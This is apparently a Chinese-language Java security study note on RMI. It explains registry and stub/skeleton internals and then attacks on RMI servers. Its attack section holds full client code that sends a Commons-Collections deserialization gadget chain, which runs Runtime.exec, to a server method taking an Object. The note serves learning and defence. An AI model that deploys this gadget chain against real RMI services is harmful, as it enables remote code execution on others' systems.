JavaSec 入门-05-RMI
前言
九月多捋完服务注册和调用那些逻辑。学到拿 CC 链子攻击之后就不知道干什么去了,好像是没学明白后面的,现在再复习一下,意外的发现了之前的笔记
RMI简介与使用
懒得再造轮子了,分析一遍之后照搬一些写得很好的Java RMI 攻击由浅入深
RMI (Remote Method Invocation) 远程方法调用,顾名思义,是一种调用远程位置的对象来执行方法的思想
使用 RMI ,首先要定义一个我们期望能够远程调用的接口,这个接口必须扩展 java.rmi.Remote
接口,用来远程调用的对象作为这个接口的实例,也将实现这个接口,为这个接口生成的代理(Stub)也是如此。这个接口中的所有方法都必须声明抛出 java.rmi.RemoteException
异常,例如:
import java.rmi.Remote;
public interface IRemoteObj extends Remote {
public String SayHello(String keywords) throws RemoteException;
}
其次我们来创建这个远程接口的实现类,这个类中是真正的执行逻辑代码,并且通常会扩展 java.rmi.server.UnicastRemoteObject
类,扩展此类后,RMI 会自动将这个类 export 给远程想要调用它的 Client 端,同时还提供了一些基础的 equals/hashcode/toString
方法。这里必须为这个实现类提供一个构造函数并且抛出 RemoteException。
在 export 时,会随机绑定一个端口,监听客户端的请求,所以即使不注册,直接请求这个端口也可以通信,这部分也会在后面展开说。
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException{
}
@Override
public String SayHello(String keywords) throws RuntimeException {
String upkeywords = keywords.toUpperCase();
System.out.println(upkeywords);
return keywords;
}
}
现在可以被远程调用的对象被创建好了,接下来改如何调用呢?Java RMI 设计了一个 Registry 的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个 RMI 电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。
这种电话本的思想,由 java.rmi.registry.Registry
和 java.rmi.Naming
来实现。这里分别来说说这两个东西。
先来说说 java.rmi.Naming
,这是一个 final 类,提供了在远程对象注册表(Registry)中存储和获取远程对象引用的方法,这个类提供的每个方法都有一个 URL 格式的参数,格式如下: //host:port/name
:
- host 表示注册表所在的主机
- port 表示注册表接受调用的端口号,默认为 1099
- name 表示一个注册 Remote Object 的引用的名称,不能是注册表中的一些关键字
Naming 提供了查询(lookup)、绑定(bind)、重新绑定(rebind)、接触绑定(unbind)、list(列表)用来对注册表进行操作。也就是说,Naming 是一个用来对注册表进行操作的类。而这些方法的具体实现,其实是调用 LocateRegistry.getRegistry
方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的。
那就说到了 java.rmi.registry.Registry
接口,这个接口在 RMI 下有两个实现类,分别是 RegistryImpl 以及 RegistryImpl_Stub,具体也放面后面来说。
我们通常使用 LocateRegistry##createRegistry()
方法来创建注册中心:
public class Registry {
public static void main(String args[]) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后将待调用的类进行绑定:
public class RemoteServer {
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException {
// 创建远程对象
RemoteInterface remoteObject = new RemoteObject();
// 绑定
Naming.bind("rmi://localhost:1099/Hello", remoteObject);
}
}
客户端进行调用:
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
// sun.rmi.registry.RegistryImpl_Stub
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
System.out.println(Arrays.toString(registry.list()));
// lookup and call
RemoteInterface stub = (RemoteInterface) registry.lookup("Hello");
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}
这里 RemoteInterface 接口在 Client/Server/Registry 均应该存在,只不过通常 Registry 与 Server 通常在同一端上。
创建远程服务流程
没全部调,直接去看这个吧Java RMI 攻击由浅入深
进入调试 步入
步入父类,发布远程端口,传0实际为随机端口
发布对象静态函数,继承后不需要手动调用,创建了一个UnicastServerRef类,obj负责实现类,UnicastServerRef处理网络请求
跟进处理网络请求部分,创建LiveRef类
跟进LiveRef类,看一下构造函数
TCPEndpoint部分
LiveRef函数
调用父类函数把ref赋值了
在exportObject中继续赋值
创建客户端操作代理
跟进创建代理操作
后续的判断
创建动态代理
创建Target,总封装
把target放在export里,跟进
跟进listen
发布完成后的记录
创建注册中心+绑定
跟进createRegistry,创建RegistryImpl对象,继续跟进
继续类似地创建LiveRef
用setup方法调用,回到类似上述的创建代理
进入到createStub方法
看下stub,直接创建,区别于之前的动态代理创建
跟进setSkeleton方法 看一下createSkeleton方法
之后也是放在target里面
再putTarget
回到绑定
一图胜千言,总结的真好
总之就是,RMI 底层通讯采用了Stub
(运行在客户端) 和Skeleton
(运行在服务端) 机制,RMI 调用远程方法的大致如下:
- RMI 客户端在调用远程方法时会先创建 Stub (
sun.rmi.registry.RegistryImpl_Stub
)。 Stub
将 Remote 对象传递给远程引用层 (java.rmi.server.RemoteRef
) 并创建java.rmi.server.RemoteCall
( 远程调用 )对象。- RemoteCall 序列化 RMI 服务名称、Remote 对象。
- RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
- RMI服务端的远程引用层(
sun.rmi.server.UnicastServerRef
)收到请求会请求传递给Skeleton
(sun.rmi.registry.RegistryImpl_Skel##dispatch
)。 - Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
- Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
- RMI 客户端反序列化服务端结果,获取远程对象的引用。
- RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
- RMI 客户端反序列化 RMI 远程方法调用结果。
RMI 攻击
攻击 Server 端
在 Client 端获取到 Server 端创建的 Stub 后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用,如果这个参数是 Object 类型的情况下,Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。
例如,远程调用的接口 RemoteInterface 存在一个 sayGoodbye
方法的参数是 Object 类型。
public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
public String sayHello(Object name) throws RemoteException;
}
既然这里接收了一个 Object 对象,我们就调用的时候传一个反序列化 payload 进去执行
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("hello");
try {
System.out.println(remoteObj.sayHello(getEvilClass()));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public static Object getEvilClass() throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
hashMap.put(tiedMapEntry, "bbb");
serialize(hashMap);
return unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
如果参数类型不是 Object 类型,那能否进行攻击?
答案也是可以的。
在一般条件下,通常保证 Server 端和 Client 端调用的服务接口是一样的,那如果不一致会怎么样?我们在服务端的接口 RemoteInterface 中定义一个 sayHello
方法,他接收一个在 Server 端存在的 HelloObject 类作为参数,但是我们会发现在尝试调用过程中会抛出异常 unrecognized method hash: method not supported by remote object
其实就是在服务端没有找到对应的调用方法。这个找对应方法我们之前说过,是在 UnicastServerRef 的 dispatch
方法中在 this.hashToMethod_Map
中通过 Method 的 hash 来查找的。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。
那有没有一种可能,我们传递的是 Server 端能找到的参数是 HelloObject 的 Method 的 hash,但是传递的参数却不是 HelloObject 而是恶意的反序列化数据(可能是 Object或其他的类)呢?
答案是可以的,在 mogwailabs 的 [PPT](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf) 中提出了以下 4 种方法:
- 通过网络代理,在流量层修改数据
- 自定义 “java.rmi” 包的代码,自行实现
- 字节码修改
- 使用 debugger
并且在 PPT 中还给出了 hook 点,那就是动态代理中使用的 RemoteObjectInvocationHandler 的 invokeRemoteMethod
方法。
Server 端代码不变,我们在 Client 端将 Object 参数和 HelloObject 参数的 sayHello
方法都写上,如下:
参考文章
https://su18.org/post/rmi-attack/